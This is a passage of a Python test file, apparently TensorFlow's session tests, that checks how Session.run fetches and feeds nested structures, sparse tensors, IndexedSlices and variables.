res = sess.run({'a': a, 'b': b, 'c': c})
self.assertIsInstance(res, dict)
self.assertEqual(42.0, res['a'])
self.assertIsNone(res['b'])
self.assertEqual(44.0, res['c'])
def testFetchOrderedDict(self):
with session.Session() as sess:
a = constant_op.constant(42.0)
b = control_flow_ops.no_op() # An op, not a tensor.
c = constant_op.constant(44.0)
res = sess.run(collections.OrderedDict([(3, a), (2, b), (1, c)]))
self.assertIsInstance(res, collections.OrderedDict)
self.assertEqual([3, 2, 1], list(res.keys()))
self.assertEqual(42.0, res[3])
self.assertIsNone(res[2])
self.assertEqual(44.0, res[1])
@test_util.run_v1_only('b/120545219')
def testFetchAttrs(self):
if attr is None:
self.skipTest('attr module is unavailable.')
@attr.s
class SampleAttr(object):
field1 = attr.ib()
field2 = attr.ib()
val1 = np.array([1.2, 3.4, 5.6])
val2 = np.array([[1, 2], [4, 3]])
val3 = np.array([10, 20, 30])
t1 = constant_op.constant(val1)
t2 = constant_op.constant(val2)
sample = SampleAttr(t1, t2)
with session.Session() as sess:
result = sess.run(sample)
self.assertIsInstance(result, SampleAttr)
self.assertAllEqual(val1, result.field1)
self.assertAllEqual(val2, result.field2)
result = sess.run(sample, feed_dict={sample.field1: val3})
self.assertIsInstance(result, SampleAttr)
self.assertAllEqual(val3, result.field1)
self.assertAllEqual(val2, result.field2)
@test_util.run_v1_only('b/120545219')
def testFetchNestedAttrs(self):
if attr is None:
self.skipTest('attr module is unavailable.')
@attr.s
class SampleAttr(object):
field0 = attr.ib()
field1 = attr.ib()
v1 = 10
v2 = 20
v3 = np.float32(1.2)
v4 = np.float32(3.4)
v5 = np.float64(100.001)
v6 = np.float64(-23.451)
arr1 = np.array([1.2, 6.7, 3.4])
arr2 = np.array([7, 11, 3])
sample = SampleAttr(
SampleAttr(
SampleAttr(constant_op.constant(v1), constant_op.constant(v2)),
SampleAttr(constant_op.constant(arr1), constant_op.constant(arr2))),
{'A': SampleAttr(constant_op.constant(v3), constant_op.constant(v4)),
'B': [SampleAttr(constant_op.constant(v5), constant_op.constant(v6))]})
with session.Session() as sess:
result = sess.run(sample)
self.assertIsInstance(result, SampleAttr)
self.assertIsInstance(result.field0, SampleAttr)
self.assertIsInstance(result.field0.field0, SampleAttr)
self.assertIsInstance(result.field0.field1, SampleAttr)
self.assertIsInstance(result.field0.field1.field0, np.ndarray)
self.assertAllEqual(arr1, result.field0.field1.field0)
self.assertIsInstance(result.field0.field1.field1, np.ndarray)
self.assertAllEqual(arr2, result.field0.field1.field1)
self.assertIsInstance(result.field1, dict)
self.assertIn('A', result.field1)
self.assertIn('B', result.field1)
self.assertIsInstance(result.field1['A'], SampleAttr)
self.assertAllEqual(
[v3, v4],
[result.field1['A'].field0, result.field1['A'].field1])
self.assertIsInstance(result.field1['B'], list)
self.assertEqual(1, len(result.field1['B']))
self.assertIsInstance(result.field1['B'][0], SampleAttr)
self.assertAllEqual(
[v5, v6],
[result.field1['B'][0].field0, result.field1['B'][0].field1])
def testFetchNestingEmptyOneLevel(self):
with session.Session() as sess:
a_val = 11.0
a = constant_op.constant(a_val)
res = sess.run([[], tuple(), {}])
self.assertIsInstance(res, list)
self.assertEqual(3, len(res))
self.assertIsInstance(res[0], list)
self.assertEqual(0, len(res[0]))
self.assertIsInstance(res[1], tuple)
self.assertEqual(0, len(res[1]))
self.assertIsInstance(res[2], dict)
self.assertEqual(0, len(res[2]))
res = sess.run([[], tuple(), {}, a])
self.assertIsInstance(res, list)
self.assertEqual(4, len(res))
self.assertIsInstance(res[0], list)
self.assertEqual(0, len(res[0]))
self.assertIsInstance(res[1], tuple)
self.assertEqual(0, len(res[1]))
self.assertIsInstance(res[2], dict)
self.assertEqual(0, len(res[2]))
self.assertEqual(a_val, res[3])
def testFetchNestingOneLevel(self):
with session.Session() as sess:
# pylint: disable=invalid-name
ABC = collections.namedtuple('ABC', ['a', 'b', 'c'])
DEFGHI = collections.namedtuple('DEFGHI', ['d', 'e', 'f', 'g', 'h', 'i'])
# pylint: enable=invalid-name
a_val = 42.0
b_val = None
c_val = 44.0
a = constant_op.constant(a_val)
b = control_flow_ops.no_op() # An op, not a tensor.
c = constant_op.constant(c_val)
test_dct = {'a': a.name, 'c': c, 'b': b}
test_dct_types = [dict, frozendict, defaultdict]
# List of lists, tuples, namedtuple, dict, frozendict, and defaultdict
res = sess.run([
[a, b, c],
(a, b, c),
ABC(a=a, b=b, c=c),
dict(test_dct),
frozendict(test_dct),
defaultdict(str, test_dct),
])
self.assertIsInstance(res, list)
self.assertEqual(6, len(res))
self.assertIsInstance(res[0], list)
self.assertEqual(3, len(res[0]))
self.assertEqual(a_val, res[0][0])
self.assertEqual(b_val, res[0][1])
self.assertEqual(c_val, res[0][2])
self.assertIsInstance(res[1], tuple)
self.assertEqual(3, len(res[1]))
self.assertEqual(a_val, res[1][0])
self.assertEqual(b_val, res[1][1])
self.assertEqual(c_val, res[1][2])
self.assertIsInstance(res[2], ABC)
self.assertEqual(a_val, res[2].a)
self.assertEqual(b_val, res[2].b)
self.assertEqual(c_val, res[2].c)
for expected_type, r in zip(test_dct_types, res[3:]):
self.assertIsInstance(r, expected_type)
self.assertEqual(3, len(r))
self.assertEqual(a_val, r['a'])
self.assertEqual(b_val, r['b'])
self.assertEqual(c_val, r['c'])
self.assertEqual(res[5].default_factory, str)
# Tuple of lists, tuples, namedtuple, dict, frozendict, and defaultdict
res = sess.run(([a, b, c], (a.name, b, c), ABC(a=a, b=b,
c=c), dict(test_dct),
frozendict(test_dct), defaultdict(str, test_dct)))
self.assertIsInstance(res, tuple)
self.assertEqual(6, len(res))
self.assertIsInstance(res[0], list)
self.assertEqual(3, len(res[0]))
self.assertEqual(a_val, res[0][0])
self.assertEqual(b_val, res[0][1])
self.assertEqual(c_val, res[0][2])
self.assertIsInstance(res[1], tuple)
self.assertEqual(3, len(res[1]))
self.assertEqual(a_val, res[1][0])
self.assertEqual(b_val, res[1][1])
self.assertEqual(c_val, res[1][2])
self.assertIsInstance(res[2], ABC)
self.assertEqual(a_val, res[2].a)
self.assertEqual(b_val, res[2].b)
self.assertEqual(c_val, res[2].c)
for expected_type, r in zip(test_dct_types, res[3:]):
self.assertIsInstance(r, expected_type)
self.assertEqual(3, len(r))
self.assertEqual(a_val, r['a'])
self.assertEqual(b_val, r['b'])
self.assertEqual(c_val, r['c'])
self.assertEqual(res[5].default_factory, str)
# Namedtuple of lists, tuples, namedtuples, dict, frozendict, defaultdict
res = sess.run(
DEFGHI(
d=[a, b, c],
e=(a, b, c),
f=ABC(a=a.name, b=b, c=c),
g=dict(test_dct),
h=frozendict(test_dct),
i=defaultdict(str, test_dct)))
self.assertIsInstance(res, DEFGHI)
self.assertIsInstance(res.d, list)
self.assertEqual(3, len(res.d))
self.assertEqual(a_val, res.d[0])
self.assertEqual(b_val, res.d[1])
self.assertEqual(c_val, res.d[2])
self.assertIsInstance(res.e, tuple)
self.assertEqual(3, len(res.e))
self.assertEqual(a_val, res.e[0])
self.assertEqual(b_val, res.e[1])
self.assertEqual(c_val, res.e[2])
self.assertIsInstance(res.f, ABC)
self.assertEqual(a_val, res.f.a)
self.assertEqual(b_val, res.f.b)
self.assertEqual(c_val, res.f.c)
self.assertIsInstance(res.g, dict)
self.assertEqual(3, len(res.g))
self.assertEqual(a_val, res.g['a'])
self.assertEqual(b_val, res.g['b'])
self.assertEqual(c_val, res.g['c'])
self.assertIsInstance(res.h, frozendict)
self.assertEqual(3, len(res.h))
self.assertEqual(a_val, res.h['a'])
self.assertEqual(b_val, res.h['b'])
self.assertEqual(c_val, res.h['c'])
self.assertIsInstance(res.i, defaultdict)
self.assertEqual(3, len(res.i))
self.assertEqual(a_val, res.i['a'])
self.assertEqual(b_val, res.i['b'])
self.assertEqual(c_val, res.i['c'])
self.assertEqual(res.i.default_factory, str)
# Dict of lists, tuples, namedtuples, dict, frozendict, defaultdict
res = sess.run({
'd': [a, b, c],
'e': (a, b, c),
'f': ABC(a=a, b=b, c=c),
'g': dict(test_dct),
'h': frozendict(test_dct),
'i': defaultdict(str, test_dct),
})
self.assertIsInstance(res, dict)
self.assertEqual(6, len(res))
self.assertIsInstance(res['d'], list)
self.assertEqual(3, len(res['d']))
self.assertEqual(a_val, res['d'][0])
self.assertEqual(b_val, res['d'][1])
self.assertEqual(c_val, res['d'][2])
self.assertIsInstance(res['e'], tuple)
self.assertEqual(3, len(res['e']))
self.assertEqual(a_val, res['e'][0])
self.assertEqual(b_val, res['e'][1])
self.assertEqual(c_val, res['e'][2])
self.assertIsInstance(res['f'], ABC)
self.assertEqual(a_val, res['f'].a)
self.assertEqual(b_val, res['f'].b)
self.assertEqual(c_val, res['f'].c)
for expected_type, r_key in zip(test_dct_types, ('g', 'h', 'i')):
r = res[r_key]
self.assertIsInstance(r, expected_type)
self.assertEqual(3, len(r))
self.assertEqual(a_val, r['a'])
self.assertEqual(b_val, r['b'])
self.assertEqual(c_val, r['c'])
self.assertEqual(res['i'].default_factory, str)
def testFetchTensorObject(self):
with session.Session() as s:
a = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(2.0, shape=[2, 3])
c = math_ops.matmul(a, b)
results_with_list = s.run([c])
self.assertAllEqual([[4.0, 4.0, 4.0]], results_with_list[0])
results_with_single = s.run(c)
self.assertAllEqual([[4.0, 4.0, 4.0]], results_with_single)
results_with_get = c.eval()
self.assertAllEqual([[4.0, 4.0, 4.0]], results_with_get)
a_val, b_val = s.run([a, b]) # Test multiple fetches.
self.assertAllEqual([[1.0, 1.0]], a_val)
self.assertAllEqual([[2.0, 2.0, 2.0], [2.0, 2.0, 2.0]], b_val)
results_with_dict = s.run({'a': [a], 'b': b, 'z': [a, b]})
self.assertAllEqual([[1.0, 1.0]], results_with_dict['a'][0])
self.assertAllEqual([[2.0, 2.0, 2.0], [2.0, 2.0, 2.0]],
results_with_dict['b'])
self.assertAllEqual(results_with_dict['a'][0], results_with_dict['z'][0])
self.assertAllEqual(results_with_dict['b'], results_with_dict['z'][1])
# Test nested structures
results_with_nested_list = s.run([[[a, b], b], a, [a, b]])
self.assertAllEqual([[1.0, 1.0]], results_with_nested_list[0][0][0])
self.assertAllEqual([[2.0, 2.0, 2.0], [2.0, 2.0, 2.0]],
results_with_nested_list[0][0][1])
self.assertAllEqual(results_with_nested_list[0][0][0],
results_with_nested_list[1])
self.assertAllEqual(results_with_nested_list[1],
results_with_nested_list[2][0])
self.assertAllEqual(results_with_nested_list[0][0][1],
results_with_nested_list[0][1])
self.assertAllEqual(results_with_nested_list[0][1],
results_with_nested_list[2][1])
def testFetchScalar(self):
with session.Session() as s:
for scalar in np.int32, np.int64, np.float16, np.float32, np.float64:
x = scalar(7)
y = scalar(8)
tf_x = constant_op.constant(x, shape=[])
tf_y = constant_op.constant(y)
tf_xy = math_ops.add(tf_x, tf_y)
# Single fetch
xy = s.run(tf_xy)
self.assertEqual(scalar, type(xy))
self.assertEqual(x + y, xy)
# List fetch
xy, = s.run([tf_xy])
self.assertEqual(scalar, type(xy))
self.assertEqual(x + y, xy)
# Dict fetch
xy = s.run({'xy': tf_xy})['xy']
self.assertEqual(scalar, type(xy))
self.assertEqual(x + y, xy)
# Nested list fetch
xy = s.run([[[tf_xy]], tf_xy, [tf_xy]])
self.assertAllEqual(xy, [[[x + y]], x + y, [x + y]])
self.assertEqual(scalar, type(xy[0][0][0]))
self.assertEqual(scalar, type(xy[1]))
self.assertEqual(scalar, type(xy[2][0]))
def testFetchOperationObject(self):
with session.Session() as s:
a = constant_op.constant(1.0, shape=[1, 2])
v = variables.Variable(a, name='testFetchOperationObject_v')
s.run(v.initializer)
v_val = s.run(v)
self.assertAllEqual([[1.0, 1.0]], v_val)
def testFetchSparseTensor(self):
with session.Session() as s:
indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64)
values = np.array([1.0, 2.0]).astype(np.float32)
shape = np.array([7, 9, 2]).astype(np.int64)
sp = sparse_tensor.SparseTensor(
constant_op.constant(indices), constant_op.constant(values),
constant_op.constant(shape))
# Single fetch, use as tuple
sp_out = s.run(sp)
indices_out, values_out, shape_out = sp_out
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# Single fetch, use as SparseTensorValue
sp_out = s.run(sp)
self.assertAllEqual(sp_out.indices, indices)
self.assertAllEqual(sp_out.values, values)
self.assertAllEqual(sp_out.dense_shape, shape)
# Tuple fetch, use as tuple
indices_out, values_out, shape_out = s.run(sp)
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# List fetch, use as tuple
(indices_out, values_out, shape_out), = s.run([sp])
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# List fetch, use as SparseTensorValue
sp_out, = s.run([sp])
self.assertAllEqual(sp_out.indices, indices)
self.assertAllEqual(sp_out.values, values)
self.assertAllEqual(sp_out.dense_shape, shape)
# Dict fetch (single value), use as tuple
indices_out, values_out, shape_out = s.run({'sp': sp})['sp']
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# Dict fetch (list value), use as tuple
(indices_out, values_out, shape_out), = s.run({'sp': [sp]})['sp']
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# Dict fetch, use as SparseTensorValue
sp_out = s.run({'sp': sp})['sp']
self.assertAllEqual(sp_out.indices, indices)
self.assertAllEqual(sp_out.values, values)
self.assertAllEqual(sp_out.dense_shape, shape)
# Nested list fetch use as tuple
sp_out = s.run([[[sp]], sp])
indices_out, values_out, shape_out = sp_out[0][0][0]
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
indices_out, values_out, shape_out = sp_out[1]
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# Nested list fetch, use as SparseTensorValue
sp_out = s.run([[[sp]], sp])
self.assertAllEqual(sp_out[0][0][0].indices, indices)
self.assertAllEqual(sp_out[0][0][0].values, values)
self.assertAllEqual(sp_out[0][0][0].dense_shape, shape)
self.assertAllEqual(sp_out[1].indices, indices)
self.assertAllEqual(sp_out[1].values, values)
self.assertAllEqual(sp_out[1].dense_shape, shape)
def testFeedSparseTensor(self):
with session.Session() as s:
indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64)
values = np.array([1.0, 2.0]).astype(np.float32)
shape = np.array([7, 9, 2]).astype(np.int64)
sp = sparse_tensor.SparseTensor(
array_ops.placeholder(dtype=np.int64, shape=(2, 3)),
array_ops.placeholder(dtype=np.float32, shape=(2,)),
array_ops.placeholder(dtype=np.int64, shape=(3,)),
)
sp_indices = array_ops.identity(sp.indices)
sp_values = array_ops.identity(sp.values)
sp_shape = array_ops.identity(sp.dense_shape)
sp2 = sparse_tensor.SparseTensor(sp_indices, sp_values, sp_shape)
# Feed with tuple
indices_out, values_out, shape_out = s.run(
[sp_indices, sp_values, sp_shape], {
sp: (indices, values, shape)
})
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# Feed with tuple, fetch sp directly
sp_out = s.run(sp, {sp: (indices, values, shape)})
self.assertAllEqual(sp_out.indices, indices)
self.assertAllEqual(sp_out.values, values)
self.assertAllEqual(sp_out.dense_shape, shape)
# Feed with SparseTensorValue
indices_out, values_out, shape_out = s.run(
[sp_indices, sp_values, sp_shape], {
sp: sparse_tensor.SparseTensorValue(indices, values, shape)
})
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# Feed with SparseTensorValue, fetch SparseTensorValue
sp2_out = s.run(sp2, {
sp: sparse_tensor.SparseTensorValue(indices, values, shape)
})
self.assertAllEqual(sp2_out.indices, indices)
self.assertAllEqual(sp2_out.values, values)
self.assertAllEqual(sp2_out.dense_shape, shape)
# Feed SparseTensorValue and fetch sp directly.
sp_out = s.run(sp, {
sp: sparse_tensor.SparseTensorValue(indices, values, shape)
})
self.assertAllEqual(sp_out.indices, indices)
self.assertAllEqual(sp_out.values, values)
self.assertAllEqual(sp_out.dense_shape, shape)
def testFeedSparsePlaceholder(self):
with session.Session() as s:
indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64)
values = np.array([1.0, 2.0]).astype(np.float32)
shape = np.array([7, 9, 2]).astype(np.int64)
sp = array_ops.sparse_placeholder(dtype=np.float32, name='placeholder1')
sp_indices = array_ops.identity(sp.indices)
sp_values = array_ops.identity(sp.values)
sp_shape = array_ops.identity(sp.dense_shape)
sp2 = sparse_tensor.SparseTensor(sp_indices, sp_values, sp_shape)
# Feed with tuple
indices_out, values_out, shape_out = s.run(
[sp_indices, sp_values, sp_shape], {
sp: (indices, values, shape)
})
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# Feed with SparseTensorValue
indices_out, values_out, shape_out = s.run(
[sp_indices, sp_values, sp_shape], {
sp: sparse_tensor.SparseTensorValue(indices, values, shape)
})
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# Feed with SparseTensorValue, fetch SparseTensorValue
sp2_out = s.run(sp2, {
sp: sparse_tensor.SparseTensorValue(indices, values, shape)
})
self.assertAllEqual(sp2_out.indices, indices)
self.assertAllEqual(sp2_out.values, values)
self.assertAllEqual(sp2_out.dense_shape, shape)
def testFeedSparsePlaceholderPartialShape(self):
with session.Session() as s:
indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64)
values = np.array([1.0, 2.0]).astype(np.float32)
shape = np.array([7, 9, 2]).astype(np.int64)
sp = array_ops.sparse_placeholder(
shape=[None, 9, 2], dtype=np.float32, name='placeholder1')
sp_indices = array_ops.identity(sp.indices)
sp_values = array_ops.identity(sp.values)
sp_shape = array_ops.identity(sp.dense_shape)
sp2 = sparse_tensor.SparseTensor(sp_indices, sp_values, sp_shape)
# Feed with tuple
indices_out, values_out, shape_out = s.run(
[sp_indices, sp_values, sp_shape], {
sp: (indices, values, shape)
})
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# Feed with SparseTensorValue
indices_out, values_out, shape_out = s.run(
[sp_indices, sp_values, sp_shape], {
sp: sparse_tensor.SparseTensorValue(indices, values, shape)
})
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
# Feed with SparseTensorValue, fetch SparseTensorValue
sp2_out = s.run(sp2, {
sp: sparse_tensor.SparseTensorValue(indices, values, shape)
})
self.assertAllEqual(sp2_out.indices, indices)
self.assertAllEqual(sp2_out.values, values)
self.assertAllEqual(sp2_out.dense_shape, shape)
def testFeedSparsePlaceholderConstantShape(self):
with session.Session() as s:
indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64)
values = np.array([1.0, 2.0]).astype(np.float32)
shape = np.array([7, 9, 2]).astype(np.int64)
sp = array_ops.sparse_placeholder(
dtype=np.float32, shape=shape, name='placeholder1')
self.assertAllEqual(sp.dense_shape.eval(session=s), shape)
self.assertAllEqual(tensor_util.constant_value(sp.shape), shape)
sp_indices = array_ops.identity(sp.indices)
sp_values = array_ops.identity(sp.values)
sp_shape = array_ops.identity(sp.dense_shape)
# Feed with tuple
indices_out, values_out, shape_out = s.run(
[sp_indices, sp_values, sp_shape], {
sp: (indices, values)
})
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(values_out, values)
self.assertAllEqual(shape_out, shape)
def testFetchIndexedSlices(self):
with session.Session() as s:
indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64)
values = np.array([1.0, 2.0]).astype(np.float32)
dense_shape = np.array([7, 9, 2]).astype(np.int64)
ind = ops.IndexedSlices(
constant_op.constant(values), constant_op.constant(indices),
constant_op.constant(dense_shape))
# Single fetch, use as tuple
ind_out = s.run(ind)
values_out, indices_out, dense_shape_out = ind_out
self.assertAllEqual(values_out, values)
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(dense_shape_out, dense_shape)
# Single fetch, use as IndexedSlicesValue
ind_out = s.run(ind)
self.assertAllEqual(ind_out.values, values)
self.assertAllEqual(ind_out.indices, indices)
self.assertAllEqual(ind_out.dense_shape, dense_shape)
# Tuple fetch, use as tuple
values_out, indices_out, dense_shape_out = s.run(ind)
self.assertAllEqual(values_out, values)
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(dense_shape_out, dense_shape)
# List fetch, use as tuple
(values_out, indices_out, dense_shape_out), = s.run([ind])
self.assertAllEqual(values_out, values)
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(dense_shape_out, dense_shape)
# List fetch, use as IndexedSlicesValue
ind_out, = s.run([ind])
self.assertAllEqual(ind_out.values, values)
self.assertAllEqual(ind_out.indices, indices)
self.assertAllEqual(ind_out.dense_shape, dense_shape)
def testFeedIndexedSlices(self):
with session.Session() as s:
values = np.array([1.0, 2.0]).astype(np.float32)
indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64)
dense_shape = np.array([7, 9, 2]).astype(np.int64)
ind = ops.IndexedSlices(
array_ops.placeholder(dtype=np.float32, shape=(2,)),
array_ops.placeholder(dtype=np.int64, shape=(2, 3)),
array_ops.placeholder(dtype=np.int64, shape=(3,)),
)
ind_values = array_ops.identity(ind.values)
ind_indices = array_ops.identity(ind.indices)
ind_dense_shape = array_ops.identity(ind.dense_shape)
ind2 = ops.IndexedSlices(ind_values, ind_indices, ind_dense_shape)
# Feed with tuple
values_out, indices_out, dense_shape_out = s.run(
[ind_values, ind_indices, ind_dense_shape], {
ind: (values, indices, dense_shape)
})
self.assertAllEqual(values_out, values)
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(dense_shape_out, dense_shape)
# Feed with IndexedSlicesValue
values_out, indices_out, dense_shape_out = s.run(
[ind_values, ind_indices, ind_dense_shape], {
ind: ops.IndexedSlicesValue(values, indices, dense_shape)
})
self.assertAllEqual(values_out, values)
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(dense_shape_out, dense_shape)
# Feed with IndexedSlicesValue, fetch IndexedSlicesValue
ind2_out = s.run(ind2, {
ind: ops.IndexedSlicesValue(values, indices, dense_shape)
})
self.assertAllEqual(ind2_out.values, values)
self.assertAllEqual(ind2_out.indices, indices)
self.assertAllEqual(ind2_out.dense_shape, dense_shape)
def testFetchIndexedSlicesWithoutDenseShape(self):
with session.Session() as s:
indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64)
values = np.array([1.0, 2.0]).astype(np.float32)
dense_shape = None
ind = ops.IndexedSlices(
constant_op.constant(values), constant_op.constant(indices), None)
# Single fetch, use as tuple
ind_out = s.run(ind)
values_out, indices_out, dense_shape_out = ind_out
self.assertAllEqual(values_out, values)
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(dense_shape_out, dense_shape)
# Single fetch, use as IndexedSlicesValue
ind_out = s.run(ind)
self.assertAllEqual(ind_out.values, values)
self.assertAllEqual(ind_out.indices, indices)
self.assertAllEqual(ind_out.dense_shape, dense_shape)
# Tuple fetch, use as tuple
values_out, indices_out, dense_shape_out = s.run(ind)
self.assertAllEqual(values_out, values)
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(dense_shape_out, dense_shape)
# List fetch, use as tuple
(values_out, indices_out, dense_shape_out), = s.run([ind])
self.assertAllEqual(values_out, values)
self.assertAllEqual(indices_out, indices)
self.assertAllEqual(dense_shape_out, dense_shape)
# List fetch, use as IndexedSlicesValue
ind_out, = s.run([ind])
self.assertAllEqual(ind_out.values, values)
self.assertAllEqual(ind_out.indices, indices)
self.assertAllEqual(ind_out.dense_shape, dense_shape)
def testFeedIndexedSlicesWithoutDenseShape(self):
with session.Session() as s:
values = np.array([1.0, 2.0]).astype(np.float32)
indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64)
dense_shape = None
ind = ops.IndexedSlices(
array_ops.placeholder(dtype=np.float32, shape=(2,)),
array_ops.placeholder(dtype=np.int64, shape=(2, 3)), None)
ind_values = array_ops.identity(ind.values)
ind_indices = array_ops.identity(ind.indices)
ind2 = ops.IndexedSlices(ind_values, ind_indices)
# Feed with tuple
values_out, indices_out = s.run([ind_values, ind_indices], {
ind: (values, indices)
})
self.assertAllEqual(values_out, values)
self.assertAllEqual(indices_out, indices)
# Feed with IndexedSlicesValue
values_out, indices_out = s.run([ind_values, ind_indices], {
ind: ops.IndexedSlicesValue(values, indices, dense_shape)
})
self.assertAllEqual(values_out, values)
self.assertAllEqual(indices_out, indices)
# Feed with IndexedSlicesValue, fetch IndexedSlicesValue
ind2_out = s.run(ind2, {
ind: ops.IndexedSlicesValue(values, indices, dense_shape)
})
self.assertAllEqual(ind2_out.values, values)
self.assertAllEqual(ind2_out.indices, indices)
self.assertAllEqual(ind2_out.dense_shape, dense_shape)
def testExtendWithStatelessOperations(self):
with session.Session() as s:
a = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(2.0, shape=[2, 3])
c = math_ops.matmul(a, b)
c_val = s.run(c)
self.assertAllEqual([[4.0, 4.0, 4.0]], c_val)
d = constant_op.constant([1.0, 2.0, 3.0], shape=[3, 1])
e = math_ops.matmul(c, d)
# Extend will happen here.
e_val = s.run(e)
self.assertAllEqual([[24.0]], e_val)
def testExtendWithStatefulOperations(self):
with session.Session() as s:
a = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(2.0, shape=[2, 3])
c = math_ops.matmul(a, b)
v = variables.Variable(c, name='testExtendWithStatefulOperations_v')
v.initializer.run()
v_val = v.eval()
self.assertAllEqual([[4.0, 4.0, 4.0]], v_val)
d = constant_op.constant(3.0, shape=[2, 3])
e = math_ops.matmul(a, d)
assign_e_to_v = state_ops.assign(v, e)
# Extend will happen here.
e_val = e.eval()
self.assertAllEqual([[6.0, 6.0, 6.0]], e_val)
v_val = v.eval()
self.assertAllEqual([[4.0, 4.0, 4.0]], v_val)
s.run(assign_e_to_v)
v_val = v.eval()
self.assertAllEqual([[6.0, 6.0, 6.0]], v_val)
def testExtendWithGroupBy(self):
with session.Session() as s:
a = constant_op.constant(1.0, shape=[1, 2])
p = variables.Variable(a, name='testExtendWithGroupBy_p')
a_val = a.eval() # Force an Extend after this op.
self.assertAllEqual([[1.0, 1.0]], a_val)
b = constant_op.constant(2.0, shape=[1, 2])
q = variables.Variable(b, name='testExtendWithGroupBy_q')
# Extend will happen here.
init = control_flow_ops.group(p.initializer, q.initializer)
s.run(init)
p_val, q_val = s.run([p, q])
self.assertAllEqual([[1.0, 1.0]], p_val)
self.assertAllEqual([[2.0, 2.0]], q_val)
def testTensorGetMethod(self):
with session.Session():
a = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(2.0, shape=[2, 3])
c = math_ops.matmul(a, b)
c_val = c.eval()
self.assertAllEqual([[4.0, 4.0, 4.0]], c_val)
fed_c_val = c.eval(feed_dict={a.name: [[4.0, 4.0]]})
self.assertAllEqual([[16.0, 16.0, 16.0]], fed_c_val)
@test_util.run_v1_only('b/120545219')
def testOperationRunMethod(self):
with session.Session():
a = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(2.0, shape=[1, 2], name='b')
v = variables.VariableV1(a, a.dtype)
assign_a_to_v = state_ops.assign(v, a)
assign_a_to_v.eval()
v_val = v.eval()
self.assertAllEqual([[1.0, 1.0]], v_val)
assign_b_to_v = state_ops.assign(v, b)
assign_b_to_v.eval()
v_val = v.eval()
self.assertAllEqual([[2.0, 2.0]], v_val)
assign_b_to_v.eval(feed_dict={'b:0': [[3.0, 3.0]]})
v_val = v.eval()
self.assertAllEqual([[3.0, 3.0]], v_val)
def testDefaultGraph(self):
with session.Session() as s:
self.assertEqual(ops.get_default_graph(), s.graph)
a = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(2.0, shape=[2, 3])
self.assertEqual(ops.get_default_graph(), a.graph)
self.assertEqual(ops.get_default_graph(), b.graph)
c = math_ops.matmul(a, b)
v = variables.Variable(c, name='testDefaultGraph_v')
v.initializer.run()
v_val = v.eval()
self.assertAllEqual([[4.0, 4.0, 4.0]], v_val)
d = constant_op.constant(3.0, shape=[2, 3])
e = math_ops.matmul(a, d)
assign_e_to_v = state_ops.assign(v, e)
e_val = e.eval()
self.assertAllEqual([[6.0, 6.0, 6.0]], e_val)
v_val = v.eval()
self.assertAllEqual([[4.0, 4.0, 4.0]], v_val)
s.run(assign_e_to_v)
v_val = v.eval()
self.assertAllEqual([[6.0, 6.0, 6.0]], v_val)
self.assertEqual(ops.get_default_graph(), s.graph)
def _testDefaultGraphInThread(self, constructed_event, continue_event, i):
with session.Session() as s:
self.assertEqual(ops.get_default_graph(), s.graph)
a = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(2.0, shape=[2, 3])
c = math_ops.matmul(a, b)
v = variables.Variable(c, name='var_%d' % i)
# Block here until all threads have constructed their graph.
constructed_event.set()
continue_event.wait()
assign_c_to_v = state_ops.assign(v, c)
v.initializer.run()
assign_c_to_v.eval()
v_val = v.eval()
self.assertAllEqual([[4.0, 4.0, 4.0]], v_val)
d = constant_op.constant(3.0, shape=[2, 3])
e = math_ops.matmul(a, d)
assign_e_to_v = state_ops.assign(v, e)
e_val = e.eval()
self.assertAllEqual([[6.0, 6.0, 6.0]], e_val)
v_val = v.eval()
self.assertAllEqual([[4.0, 4.0, 4.0]], v_val)
s.run(assign_e_to_v)
v_val = v.eval()
self.assertAllEqual([[6.0, 6.0, 6.0]], v_val)
self.assertEqual(ops.get_default_graph(), s.graph)
